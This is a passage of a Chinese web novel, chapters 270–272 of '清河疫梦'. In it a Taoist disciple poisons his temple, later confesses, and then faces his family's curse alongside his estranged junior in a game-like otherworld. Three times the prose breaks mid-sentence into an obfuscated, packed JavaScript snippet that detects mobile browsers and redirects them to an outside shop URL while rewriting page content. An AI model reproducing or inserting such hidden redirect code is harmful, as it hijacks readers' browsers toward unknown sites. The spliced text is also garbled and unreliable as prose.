有一回安楚找了个机会,偷偷进了玄微子的书房。书房里书很多,落了灰。他在一个不起眼的角落,找到了那本册子。 册子的纸页已经泛黄,他翻到某一页停下,上面写着一行字: 「清河村疫气弥散,恐祸及周遭百里。无奈,封村,焚之。」 安楚盯着那行字看了很久,然后合上册子放回原位,退出书房。 后来他又见过茶馆里那个年轻人几次。在镇上,在车站,擦肩而过。年轻人瞥见他脖子上挂着的“平安”护身牌,摇摇头,无奈地笑了笑,转身走了。 两年过去,向枝冥也成年了。他去找玄微子,真的拿到了一块刻着“喜乐”的护身牌。 那天晚上,安楚抽空回了观里,向枝冥拉着他又溜去了后山温泉。 向枝冥现在完全长开了,眉眼深邃,肩膀宽阔,个子也比安楚高出半个头。他趴在温泉边上,有点闷闷不乐,连续叹了好几口气。 安楚靠在他旁边:“怎么了?” 向枝冥歪着脑袋,可怜巴巴道:“明天就要独自下山了……心里没底。” 安楚没说话,从身后拿出一个酒坛。泥封上印着三个朱砂字:十八春。 “十八春!”向枝冥眼睛瞪圆了。 十八春是山下最有名的酒,专门为男子成年礼准备,据说酿造需要好长时间,很难得。 安楚点了点头,揭开盖子:“专门给你买的,今晚可以喝一点壮壮胆,没什么好怕的。” 向枝冥接过来喝了一口,酒不算很辣,有股醇厚的香,还带着点桂花味。他抱着酒坛,看着水面上自己的倒影,又耷拉着脑袋:“可我还是莫名感到害怕……怕外面的路难走,怕我回来,你们都不认得我了……” 安楚沉默了好一会儿,忽然伸手拍了拍向枝冥脖子上的护身牌:“不是有这个吗?” “要是有人为难你,你就说你是玄机观安楚的师弟。” 向枝冥愣了一下,转头看他。温泉的水汽蒙蒙的,安楚的脸在月光下显得很柔和。 他突然朝安楚伸出手,安楚没动,以为他又要像上次一样去拿什么东西。 那只手却搭上了他的脖子,轻轻一带,把他搂紧。一个温热的吻激动得落在他脸颊上。向枝冥松开手,笑道:“谢谢师哥!” 安楚往后退了退,脸上有点红:“……你已经成年了,不能随便亲别人。” 向枝冥满不在乎地摆了摆手:“师哥又不是别人。” 安楚垂下眼,眼底的情绪很快暗淡下去,再抬起头时,又恢复了柔和的笑容。 第二天,向枝冥下了山。他照着安楚当初走的路线,从安徽往杭州去。路上偶尔遇到人,看到他脖子上挂着的“喜乐”木牌,会停下来问:“小哥,你是玄机观的?认不认识安道长?” 他说:“认识,是我师哥。” 那些人脸上露出笑,热情起来,请他喝茶,留他吃饭,有事也愿意帮忙。还说他和安楚不愧是同门,驱邪的手势、念咒的口音,都一模一样。 每到这时候,他就会想起师哥,想快点过完这一个月。 怨灵总喜欢往毫无防备的小孩身上跑,有次他帮一户人家驱赶了缠上孩子的婴灵,那家人穷,拿不出多少钱,只蒸了一笼馒头硬要塞给他。向枝冥收了馒头,晚上在庙里啃,挺香的,他拍了张照片发给安楚,说等回去也想吃安楚做的馒头。 安楚当时回:「好。」 两人还是天天通电话,但安楚从来不说自己在干什么,只说等他回来就知道了。 向枝冥就更盼着回去了。 一个月终于熬到头,他收拾好东西,买了第二天回程的车票。但从那天起,安楚的电话就打不通了,一开始是占线,后来是关机,发消息也不回。不止安楚,观里其他人也联系不上。 新闻上静悄悄的,没有青鸾山的消息,也没有玄机观的消息。 向枝冥心里咯噔一下,连夜赶回了青鸾山。 车到山脚,天还没亮,他背着包就往山上跑。 越往上爬,越不对劲。往常这时候山上该有早起的弟子练功,采药,扫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205037|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。现在什么都没有,空气里有股铁锈似的味道。 诵经的声音没有,煮茶的动静也没有,连观前那老松树上的麻雀也不见了。 他走到观门前,手有点抖,推开门—— 院子里横七竖八躺满了人,都是观里的人,老的,小的,做饭的婆婆,扫地的杂役。有他熟悉的,也有不那么熟悉的,穿着道袍,姿势各异,但死状都差不多。嘴角和胸前有大片干涸发黑的血迹,脸色青紫,是中毒。 向枝冥腿一软,差点跪下去:“师……师父?师哥?” 没有人应。他踉跄着跨过尸体,往师父的房间冲。房门虚掩着,他一推就开了。 玄微子就靠坐在墙角,身上的道袍被血染红了。脸色惨白,嘴唇乌青,还有细细的血丝从嘴角溢出来,已经不怎么流了。 “师父!”向枝冥扑过去跪在他身边。 玄微子眼皮动了动,很慢地睁开。眼神已经涣散了,看到向枝冥,里面闪过一丝光。 “枝冥……”他气若游丝道,“你……回来了……” “师父,怎么回事?谁干的?”向枝冥语无伦次道,“师哥呢?师父!没事没事,您坚持住,我现在就叫救护车……” 他抖着手就去拿手机,就看见玄微子费力地摇了摇头,勉力道:“枝冥,别……别留在这里了,小楚不在这里……” 什么意思? 人是安楚杀的? 他有什么理由? 向枝冥心中一片恐慌,忙道:“什么意思?师哥他……是他吗?他为什么要……” 说到这里,他就说不下去了。 玄微子抬手,想摸一摸他的头,手抬到一半,又无力地垂下:“不要……恨他……” 说完,他眼睛里最后那点光散了,头歪向一边,再也没了动静。 向枝冥跪在那里,看着师父的脸,那张总是温和的脸现在一片死灰,眼睛微微睁开,眼神空洞无神,生命的气息已经完全消逝。 他浑身哆嗦,却哭不出声,只是眼泪大颗大颗往下掉。 所有人都死了,只有他活着? 为什么安楚不杀了他? 警察和救护车来得很快,向枝冥跟着担架跑到医院,在急救室外跪在地上,冲着穿白大褂的医生磕头,额头撞在冰冷的地砖上砰砰响。他哭着说求求你,救救他们,救活一个都行,一个都行。 医生扶他起来,摇了摇头,说送来的时候,所有人的心跳呼吸全都没了。毒太厉害了,来不及了。 警方介入调查,结论很快出来。就是下毒,毒下在观里当天的饭菜里,所有人都吃了。下毒的是安楚,在眼睁睁看着第一个弟子毒发倒地后,他就离开了玄机观,换了手机卡,没人再见过他。 警方到处找,没找到人,一点线索都没有。 案子太大了,死了几十口人,上了新闻。 向枝冥在那段时间恨安楚恨得牙痒,把留了好几年的长发全剪短了,跟着警察跑,提供所有他知道的关于安楚的信息,恨不得下一秒就把人揪出来,亲手掐死。 可时间一天天过去,安楚像人间蒸发了一样,没人见过他,没人知道他去了哪儿,甚至没人知道他是不是还活着。 270.清河疫梦 后来向枝冥就不找了。 他参加了玄机观所有人的葬礼,几十口棺材,排成了一排,埋在青鸾山后一片向阳的坡地上,碑上刻着名字,密密麻麻。 他退了学,没再去学校,在青鸾山脚下搭了个简陋的屋子,住了下来。靠给人算命,看风水,驱邪,挣点生活费。 日子又平静下来,但他的精神越来越差。 有时候他大白天的,会突然恍惚,像在做梦。回过神时,发现自己站在屋子中央,手里拿着根钉子,或者一把刀。有一次他清醒过来,发现左边眉毛上方多了个血洞,血顺着脸颊往下淌,流了一地。他倒没什么印象。 总不能就顶着个血洞出门,他干脆去镇上找了个摊子,让人在同样的位置打了个眉钉,看着就没那么奇怪。 他也睡不好,一闭眼就会做梦。 有时候是好梦,梦到还在玄机观里,和弟子们打闹。夏天,后院那棵橘子树上结满了果,黄澄澄的。他爬上去摘,底下的人张着手去接,柿子也熟了,挂在枝头。有人喊他:“向枝冥,快下来,师父要查功课了!”他就连忙下来。还有考核,一屋子的人互相帮忙,将自己的答案写在纸条上,偷偷传递,还真能凑出个及格分。 有时候是噩梦,梦里还是那个院子,青石板干干净净。师兄弟们笑着走过,和他打招呼。下一秒,血就从他们嘴里、鼻子里、眼睛里涌出来,人“噗通”一声倒下去,眼睛睁着看着他。血越流越多,漫过脚踝。那些人又爬起来,围着他问:“向枝冥,为什么你没死?” 他吓得想跑,脚却像钉在地上,动不了。 偶尔,也会梦到安楚。安楚总是站得远远的,在一片雾里。看不清脸,但能感觉到他在看着自己。眼神是忧郁悲伤的,好像并没有因为报了仇,就变得高兴。 夜深人静的时候,向枝冥就会想起他,除了恨,他也会想安楚现在在哪儿?是不是还活在仇恨里?有没有一点点……后悔? 他不知道。 向枝冥有时候想回玄机观看看,可念头一起就放弃,怕见到那些旧东西晚上又做噩梦。于是只敢站在山脚下往山上望,雾气缭绕,什么都看不清,但好像这么看着,就能回到过去。 后来有一天夜里,他又被噩梦惊醒。一摸脸上,湿漉漉的全是泪。他坐在床上喘着气,胸口闷得发疼。 实在待不住了,他爬起来披了件外套就出门。月亮很亮,照得山路泛着白光。他借着月光往山上爬。 到玄机观门口时,月亮刚好升到正头顶,又圆又亮。他看着那满月,才想起来今天是中秋节。 大门紧闭,锁早就锈了。他没敢去推,怕“吱呀”声扰乱了这片宁静,便从旁边矮墙翻了进去,沾了一身灰尘。 院子里很安静,月光清冷冷的。血迹早就被清理干净了,一点痕迹都看不见。一切都和他记忆里一模一样,只是现在所有的东西都蒙了一层厚厚的灰层。 向枝冥看着这一切,心里竟然出奇的平静,没有怕,也没有恨,空荡荡的。 他往里屋走,刚踏进门槛,一抬头就看见屋里站着个人。 那人背对着他,站在月光照不到的地方,苍白瘦削,长发几乎垂到腰。 ——是安楚。 不得不说,这么多年了,向枝冥还是希望他死。 安楚听到动静,下意识回过头,还没看清是谁,脖子就被人狠狠掐住,整个人被压在地上,后脑勺磕在地板上。他闷哼一声,话还没出口,向枝冥的拳头就裹着风狠狠砸在他脸上。 “我操你大爷的安楚!”向枝冥大骂道,“你怎么还有脸来这里?!” 拳头砸得安楚眼前一黑,嘴里立刻尝到了血腥味。他挣扎起来,狠狠推开向枝冥,坐起身吐出一口血。他抬起头,向枝冥又扑过来。 两个人在屋内打了起来,什么打法都用上了,往对方身上最脆弱的地方招呼。向枝冥偶尔触碰到安楚的身体,发现他比以前瘦了太多,力气也没以前那么大,但下手还是狠。 安楚突然抽身,从怀里摸出一张黄符,往地上一拍,低声念了句什么。 向枝冥脚下一停,像被无形的绳子捆住了,动弹不得。他抬眼,只见安楚转身就跑,眨眼间就消失在黑暗中。 他挣脱开束缚追出去,院子里空荡荡的,跑到观外,山路上也空无一人。 他站在月光下,身上到处都火辣辣地疼。安楚又不见了,在他眼皮子底下跑走了。 回到家向枝冥就发起了高烧,烧得糊里糊涂。一闭眼就是安楚,在月光下回头看他。 病好后他就天天去玄机观,蹲在门口等,可安楚再也没来过这里。 五年后,就在大部分人已经忘记了当年玄机观那桩毒杀案时,安楚自首了。 向枝冥到达公安局时,安楚已经坐在审讯室里了。双手被铐在审讯椅上,低着头。 向枝冥和一名警察站在单向玻璃窗外面,警察说,安楚一大早就来了,自己走进来,说五年前玄机观的毒是他下的,人是他杀的,他认罪。 向枝冥看着玻璃那面的人,问:“他会死刑吗?” 警察点点头:“会。” 向枝冥沉默了一会儿,道:“我能进去跟他说几句话吗?” 警察看了他一眼,说:“别冲动。”然后就打开了门,示意向枝冥进去。 门一开,安楚抬起头,看见向枝冥,眼里闪过惊讶。 向枝冥走进去在对面坐下,看着安楚。安楚比上次见面又瘦了很多,眼下有淡淡的青黑,但眉眼依旧。锁骨从衣领里露出来,上面有一道很深的疤,颜色发暗。那是五年前在玄机观打架时他留下的,当时还流了好多血,但两个人都没管。 五年没见,向枝冥自己也不知道,现在是恨他多,还是想他多。 安楚动了动唇:“……好久不见。” 向枝冥微微一笑,幽幽道:“安楚,你可真让我好找啊。” 安楚没接话。 向枝冥盯着他,道:“这么多年,你有后悔过吗?哪怕一次。” 安楚怔了一下,才明白过来他说的是五年前的事。他垂下眼,只道:“后悔或不后悔,又有什么意义?都过去了。” “过去了?”向枝冥扯了扯嘴角,“你倒这么轻松就放下了。那我呢?你想过我没有?” 他抬手指着自己:“这么多年,我一闭眼就是玄机观那么多人的尸体,满地的血。你杀了所有人,为什么偏偏留着我?留我一个人在这儿受罪?师父们对你不好吗?我对你不好吗?你到底是多恨我啊,安楚?” 安楚避开他的视线:“不是你想的那样,有些话我不知道怎么说……” “不知道怎么说?!”向枝冥用力一拍桌子,吼道,“你杀了人就跑,一点影子都没有,好不容易见一面,打完就消失,跑得比鬼还快!你就这么怕见我?!安楚,你抬头看我,你不敢看我吗?!” 安楚抬眼看着他,就见向枝冥红了眼眶。 “我从十岁起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205038|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就跟着你一块生活。”向枝冥发着抖说道,“我的一切,我留长发,我当道士,我连名字都和你有关。你为什么要这么做?!这五年你在哪儿?为什么现在又来自首?我该怎么办?我怎么接受?!我又没有家人了,安楚。” “……” “对不起,枝冥。” 向枝冥冷笑一声,只觉得委屈。他从小就被父母抛弃,能活到十岁都是运气。被玄微子捡回去,才有来像样的日子,有来对他好的师哥。可这些都像一场大雪一样,太阳和温暖一出来,就融化消失了。 他想问安楚很多事,问他为什么忍心杀那么多人,问他为什么要留他一命,问他……到底有没有真的把自己当家人。 可他问不出口,安楚也只是说一句“对不起”。 呵,对不起。 事情不该是这样的,可该是怎么样呢?回头看看这些年,他也只能苦笑着摇头。 现在安楚要死了,他太他妈开心了。 向枝冥站起身往门外走,走到门口,他停下来:“最后一次见面了。你还有什么要说的吗?” 安楚想说什么,最后还是摇了摇头:“再见。” 向枝冥拉开门,走了出去。 回去的路上,他买了一壶梅子酒,回家把自己灌醉,迷迷糊糊睡下。再醒来时,人竟然在一辆列车上。周围全是陌生的脸,还有……安楚。 “这他妈给我干哪来了?”他问列车长,列车长扫了他一眼,说:“这他妈给你干永冬之城来了,等着进副本想办法保命吧。” 他一回头,和安楚大眼瞪小眼。 “你怎么在这?”他问。 安楚身上还穿着囚服呢,摇头道:“不知道。” 直到通关了两场新手副本,来到永冬之城,向枝冥才慢慢反应过来,他和安楚到了另一个世界,安楚死不了了,他们也回不去了。 该怎么说呢,有时候命运这东西,挺奇怪的。 安楚没想到,向枝冥还是叫“向枝冥”,没改名。向枝冥也没想到,安楚会同意执行官的建议,和他们几个组队,一起进入副本。 日子又这么稀里糊涂地,又过下去了。 安楚坐在树边,他的前半生都在为复仇活着。现在仇报了,人杀了,结果告诉他,这一切的源头是他爹妈? 如果他们没有使用血瘟符,清河村就不会有瘟疫,师父们就不会带人去烧村子。村子不少,他爹妈不会死,村里那三百多口人也不会死。 他放学回家,会正常地看到爹妈在村口等他,隔壁的老头老太太还是会坐在门口,嗑着瓜子聊东家长西家短。见到他,会笑眯眯塞给他一把瓜子。村里的大壮小美会蹦蹦跳跳跑过来,拉他去河边抓鱼。 向枝冥还是会被师父捡回玄机观,会遇到别的师哥,别的师弟。他们不会认识,不会一起长大,不会一起泡温泉,不会分着吃桂花年糕,喝梅子酒,也不会闹到今天这一步。 可现在什么都没有了。村子烧了,爹妈死了,师父死了,观里所有人都死了。向枝冥恨他,他们之间隔着血海深仇,再也回不去了。 所有的痛苦原来都是他造成的,是他自己一步步把所有人都推到了绝路上。 他自以为是在报仇,结果是他爹妈先害了人,师父是为了救人,他自己杀错了人,也害了人。 向枝冥说得对,他该死。 活该向枝冥恨他,活该他一个人活在痛苦和悔恨里。 死的应该是他。 271.清河疫梦 向枝冥没看安楚,深吸一口气道:“我们得阻止你父母,历史不能重演。” “可我父母为什么要这么做……?”安楚抬起头。 初与序和u谷走了回来,初与序看了眼祠堂的方向:“先回祠堂,血瘟符和安家的线索都是从那里来的,可能还有我们漏掉的东西。” 四个人重新回到祠堂,供桌上的蜡烛早就灭了,初与序重新点燃一截蜡烛,火光在穿堂风里摇曳。 安楚站在屋外,抬头看着“清河永昌”那块匾额,不知道在想些什么。 初与序伸出手在供桌底部摸索,忽然停在一块木板上。 “这里有缝。”她用力一抠,那块木板向内弹开一小截,露出一个黑洞洞的暗格。 她伸手进去,摸出一个东西。 是一个灵位,上面用刀歪歪扭扭刻着字:安阳之灵位。 向枝冥拿过灵位,翻到背面,背面也用刀刻着字,他轻声念出来:“葵亥年月庚子日,吾儿安阳含冤而死,享年仅十六,必血债血偿。” 灵位下面还压着一张纸,初与序拿起来看,上面密密麻麻写着的是清河村里几个主事如何私吞上头拨下来的赈灾娘款,导致村里那年冬天饿死好些人的罪行。末尾的署名是“安阳”。 向枝冥是唯一知道安楚原名是“安思阳”的人,他沉默了一下,见那张纸朝安楚递过去:“……你看看吧。” 安楚走过来接过纸,愣了几秒,又看向写着“安阳”的灵位。他立刻抬手咬破自己手指,将血抹在灵位边缘,飞快画了一道符:“现!” 灵位猛地一震,一道光影从牌位上升起,逐渐变成一段幻象,出现在四人面前。 雨很大,泼瓢似的往下倒,一个看着也就十五六岁的长发少年被几个村民死死按着,跪在泥泞地里。他身上的衣服被撕烂了,露出脊背,上面是一条条红肿的鞭痕,鲜血混着雨水往下淌。 少年挣扎着抬起头,雨水冲开他额前的乱发,露出一张脸。 这张脸和安楚有九分相像,只是更明朗些。 他看向祠堂的方向,那里站着两个人,是安家父母。两个人想冲过来,被村里几个壮汉死死拽住,动弹不得。 “放开我!放开我爸妈!”安阳大喊道。 领头的一个中年男人狠狠一脚踹在他脸上,把他踹翻在泥里。那男人转过身,对着围过来的村民们大喊道:“大伙儿都看见了吧!安阳这小崽子不安分!非要去外头告状,说咱们村子贪了救济粮!这是要断了咱们全村的口粮,把大伙儿往死路上逼啊!这种吃里扒外,祸害乡亲的东西,留不得!” 人群里爆发出吼声:“沉了他!沉了这个祸害!” 几个人七手八脚把安阳塞进一个竹子编的猪笼里,又在笼子里塞满了大石块。几个人抬着走到池塘边,喊着号子,用力一甩。 笼子被砸进池塘里,水花溅得老高。 按住安家父母的人松了手,安母发出一声凄厉的惨叫,和安父一起跌跌撞撞扑到池塘边,伸手去抓水花。他们趴在池塘边等了很久,可除了涟漪,什么都没有。 安母死死捂着嘴,浑身止不住地抖。安父跪在泥里握着拳头,眼睛赤红。 那个领头的中年男人慢吞吞走过来,将一沓厚厚的钞票甩在他们身上。 “拿着,就当是补偿了。”他居高临下道,“管好你们的嘴,你们儿子年纪轻轻不知天高地厚,非要和整个村子作对,死了也是他自找的。晦气!赶紧的,再生一个吧。” 说完,他转身得意洋洋离去。 幻象到这里戛然而止。 祠堂里一片死寂。 半晌,三个人才转过头,小心翼翼地看向安楚。就见安楚苍白着脸站在那里,嘴唇抖了抖:“……我原名是安思阳,安阳……是我大哥?” 他原来还有个大哥,爸妈从没和他提过。 安阳揭发贪污,被村民私刑沉塘。长子含冤惨死,爸妈被逼得走投无路,才使用血瘟符拉全村陪葬。 那他呢?他从小被当作“思阳”养大,留着一头和大哥一样的长发,被爹妈透过脸一遍遍看着另一个已经死去的儿子。 这算什么? 他到底是谁? 这些年他到底在为什么活着? “哈……”一声笑从安楚喉咙里挤出来,他缓缓低下头,肩膀不受控制地颤抖着。 向枝冥再怎么恨安楚,看到他这幅样子,只好别过头叹了口气。 这副本真是他打过的最操蛋的一个了。 安楚转身就往门口走,u谷连忙伸手拦住:“你去哪?” 安楚头也不回道:“去找我父母问清楚。” 他熟门熟路翻墙进了安家院子,还是之前那间屋子,屋里开着灯,里面传来念咒声。他在门口听了一会儿,抬手推开了门。 屋里的声音戛然而止,供桌前的安父安母同时转过头。两个人先是愣住,直直看着门口的人,像是看到了什么不可能的东西。 “……安阳?”安母道,“安阳?是你吗?你……你回来了?” 安楚站在门口,苦笑道:“妈,你连我和我哥都分不清了吗?” “你是思阳?”安父猛地站起身,上下打量着安楚,“可你现在……不该是在学校吗?你,你怎么突然长这么大了?” 安楚没有回答,他已经太久太久没见过父母了。 小时候在村子里,手机相机什么的都是稀罕物,还留下照片。后来父母没了,烧得只剩灰,什么念想都没留下。时间一长,他们的样子就在记忆里慢慢模糊了,只剩下大概的轮廓。 现在终于又见到,才发现他们比自己记忆中老了很多,憔悴了很多。眼窝深陷,脸上皱纹像刀刻的,不知道是血瘟符的反噬还是什么原因。 安楚看着他们道:“你们生我,就是为了一张和安阳像的脸,好天天看着他,想他,是吗?我的名字,我留的长发,我所有的一切,都和他有关,是吗?” 安母上前一步想去拉他的手:“思阳,不是……” 安楚往后退,避开了她的手。 安父急急地解释道:“不是的,思阳,我们……我们当然也爱你……只是太想你大哥了,你、你怎么会和你大哥一样呢?” 安楚眼眶一红:“那你们现在在干什么?爸妈,你们为了给大哥报仇,要下咒害死全村人?那些老人,那些小孩,那些跟这事儿一点关系都没有的人,还有你们自己也要死吗?就丢下我一个人?” “你们把我当安阳的替身养大,我以为你们是受害者,我拼了命地想给你们报仇……结果到头来,你们才是凶手?” 安母嚎啕大哭起来:“妈知道对不住你……可小阳也是无辜的啊!他死的时候才十六岁……十六岁啊!我们实在忍不了了……” 安楚只觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205039|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑子一片空白,现在好像有些理解当年向枝冥的感受了。 都是假的吗? 父母这些年对他的好,也是假的吗?是看他长得像安阳,才施舍给他的吗? 小时候幼儿园也是在城里上的,离村子远。每天下午放学父亲就骑着自行车来接他。她坐在后座抱着父亲的腰,一颠一颠地回村。有时候校门口有卖桂花年糕的小摊,香气飘过来,他眼巴巴地看着,但从来不说想吃。父亲每次都能看出来,总会停下车掏出零钱,买一盒给他。他每次只吃三分之一,剩下的三分之二留给爸妈。 爸妈给他过生日,但过的从来不是他真正的出生日子,现在想来那是安阳的生日。可每次过生日还是很隆重,买不起蛋糕,母亲就会做一大桌子菜,都是他爱吃的。然后把他领到堂屋的土墙边,用笔在他头顶的位置画一道横杠。然后笑着说我们思阳又长高了呢。 那些好,那些笑,那些温暖,难道也都是假的? 现在所有的努力都付诸东流了,他到底该恨谁呢? 安楚闭上眼,指甲深深掐进掌心,血混着泪砸在脚下冰冷的泥地上。 安父别过头不再看安楚:“血瘟符已经成了,破不了了。两天后村里的人都会染上瘟疫,治不好。你快走吧,离开这儿,走得远远的,好好活下去。” 安楚看着父母,最后什么也没说,甩上门走了。 他一路走回祠堂,三个人仍等在那里,u谷正四仰八叉地躺在地上,抬起头看他:“Hey,you okay?(你还好吗?)” “没事。”安楚靠着供桌坐下来,淡淡道。 “只是血瘟符已成,没有办法破解了。” “再找找吧,船到桥头自然直。”初与序正靠着墙,拿着之前那本《清河异闻录》翻看着。 过了片刻,她忽然停在其中一页上,道:“这里提到过,后山凌云峰的深处有一座古墓,墓里住着一位守墓人,通晓许多禁书的破解之法。” 她看向安楚:“你小时候在这里生活,有没有听到过这位守墓人?” 安楚想了想,点头道:“听过。村里老人吓唬小孩时提过,说凌云峰上住着个‘半人不鬼’的老道士,专收冤魂,叫‘枯骨道人’。他不见普通人,只见道士,没人敢去找他。” u谷摊开手道:“Well,there you go.(好吧,那就这样。)那个什么骨头人只见道士,那就只能你们俩去,我和初与序就不奉陪了。” 向枝冥皱着眉,脸上明明白白写着不情愿。但眼下没别的选择。 天蒙蒙亮的时候,向枝冥和安楚便动身了。 两人一前一后踏上了通往凌云峰的路,山没有青鸾山高,但路很陡,杂草荆棘疯长,几乎没有正路。两个人隔了好几米远,一路上谁也没开口。 快到正午的时候,才在半山腰处一块背阴的岩壁下找到了那座古墓的入口。入口被层层藤蔓遮盖住,只露出半截石碑,上面刻着模糊的咒文。 向枝冥拨开藤蔓,一股阴嗖嗖的气息扑面而来。里面很黑,隐约能看见向下的台阶。 他打开手机手电筒,和安楚一同走了进去。 墓道不长,尽头是一间石室。石室中央摆着一口石棺,棺盖半开着,角落里堆着一些破烂的陶罐。两人刚站定,石棺后面就传来一声低笑。 “多少年了……终于有人来陪我说话了。” 272.清河疫梦 一个佝偻的身影慢吞吞从石棺后面挪了出来,枯骨道人瘦得只剩一把骨头架子,灰白的头发贴在头皮上,目光却精亮地在两人身上来回打量。 “两个小道士?”他咧开嘴。 向枝冥和安楚同时抬手,行了个道礼: “玄机观向枝冥,师承玄微真人。” “安楚,同出玄微真人门下。” 枯骨道人眯起眼,盯着安楚看了好一会儿,慢悠悠道:“说吧,找我这个老骨头什么事?” 安楚上前一步,道:“前辈,我们想求破解血瘟符之法。” 枯骨道人“嗬嗬”笑了两声:“血瘟符?那可是绝命的玩意儿。你们想怎么破?” 向枝冥道:“请前辈指点。” 枯骨道人没立刻回答,他伸出手指朝安楚勾了勾:“你,过来单独说。” 安楚点了点头,然后侧头对向枝冥说了句:“你在外面等。”说完便跟着枯骨道人往墓穴更深处走去。 向枝冥皱了下眉,但还是走出了墓穴等待。 过了片刻,安楚出来了。他脸色有些发白,抿着唇,手里还攥着什么东西。对上向枝冥的视线,他眼神闪了一下,很快又垂下眼避开对视。 “什么办法?”向枝冥问道。 安楚没抬头,含糊道:“回去和初与序他们一起说吧。” “我问现在。”向枝冥挡住他往外走的路,“他给了你什么?” 安楚抬起眼:“一张符。” “什么符要单独给你?” “因为我是安家的人,破解血瘟符,需要施术者的血亲。”安楚冷冷道,“现在可以了吗?” 他说完绕过向枝冥,径直往山下走。向枝冥看着他的背影,跟了上去。 回到清河村祠堂时已是黄昏,初与序和u谷等在里面。u谷已经无聊得发霉,见两人回来,坐直身体:“怎么样?那什么骨头人怎么说?” 向枝冥瞥了他一眼:“什么骨头人,听不懂中文就别乱说。” 两人坐下,安楚开口:“枯骨道人确实给了办法。” “我们需要三样东西,我父母的一滴心口血,代表‘因’。昨晚在屋里看到的那截像骨头的东西,是我哥安阳的指骨,代表‘怨’。还有最初画的那张血瘟符本体,应该还在我家,代表‘果’。” 他伸手指向窗外池塘的方向:“池塘是安阳沉塘的地方,怨气很深,是因果的起点,得在那里布阵。” “第三天的子时,在池塘边布个三角法阵,需要一个人站到阵眼,就是池塘中央,手里拿着那三样东西,念《破咒文》,到时候我会把咒文给你,你照着念就行了。” 他顿了顿,继续道:“这两道法术,一个破一个立,能把怨恨洗净。所以初与序和u谷负责在池塘东西两侧顶住怨鬼。” “向枝冥。”他转过头,“到时候你带着东西去阵眼。而我在外围护法,用我的血启动阵法。” 向枝冥扫了一眼安楚,总觉得这人不对劲,要阴自己。 “Ok.”u谷道,“来商量商量怎么把那三样东西搞来吧现在。” 安楚低着头道:“我……不可能去取我父母的心口血。” 向枝冥冷笑一声:“不忍心?那就我和初与序去,保证不伤到你父母。” 安楚张了张嘴,但最后还是点了点头。 四个人分配好,安楚去家里偷血瘟符本体和安阳的指骨,u谷去找硫酸、朱砂等这些护阵的材料。向枝冥和初与序则去取安楚父母的心口血。 几个人站起身,准备分头行动。 就在安楚和向枝冥擦肩而过时,安楚忽然上前一步,从袖子里摸出一张符纸,一把按在向枝冥胸口! “我操!”向枝冥猛地伸手去抓他的手腕,另一只手忙去扯那张符纸。符纸被他扯了下来,但下一秒,他觉得手腕内侧像被烙铁烫了一下,火辣辣地疼。 他顿感不妙,低头一看,手腕上多了一条细细的红线。 他抬头盯着安楚,哑声道:“你他妈给我贴什么了?” 安楚微微一笑:“诅咒符,明晚生效。” 向枝冥脑子里“嗡”的一声,血直往头上冲。他上前一步揪住安楚衣领,拳头就扬了起来:“你他妈找死!” 安楚没躲,抬手又快又狠地给了向枝冥一记耳光! “啪”的一声,向枝冥被打得偏过头去,脸上迅速浮起指印。他愣了一下,随即暴怒,另一只手也揪了上去,要把安楚掼倒在地! “住手!”初与序连忙上前,一把拦住向枝冥的胳膊。 u谷也从另一边将安楚往后拉,着急道:“Hey!Stop it!What the hell is going on?!(嘿!住手!搞什么鬼?!)” 两个人被强行拉开,安楚抬手擦了擦嘴角的血,刚才那一下他自己似乎也磕到了,有点血丝。 “你他妈给我下咒?!你想让我死?!”向枝冥挣开初与序的手,咬牙切齿道“安楚,你够狠啊!” 安楚没说话。 “冷静一下。”初与序无奈地扶额,“不管是什么,现在不是内讧的时候。东西还没拿到,我们在符咒起效前通关副本,你就不会死。” 向枝冥盯着安楚,对着他指了指:“行,安楚,你等着。等回永冬之城,我找你算账。” 安楚面无表情地看着他,若无其事移开目光。 三个人悄悄摸回安家,大概是夜里念咒耗神,天刚亮,安父安母都在各自房间里睡着,没什么动静。 安楚站在堂屋门口,朝着里屋方向看了一眼,对向枝冥道:“不管你多恨我,别伤我父母。有什么事,回永冬之城冲我来。” 向枝冥扫了他一眼,嘲讽道:“放心,我可不像某些人,只会耍阴招。” “……”安楚没再说什么,转身去了别的房间找血瘟符和指骨。 向枝冥从怀里摸出两张空白的黄符,咬破指尖在上面画了同样的符。画完将其中一张递给初与序:“贴他们额头上,符纸会自己取心口血,取完血符就会自动燃烧。” 初与序接过符纸:“你去安父房间,我去找安母。” 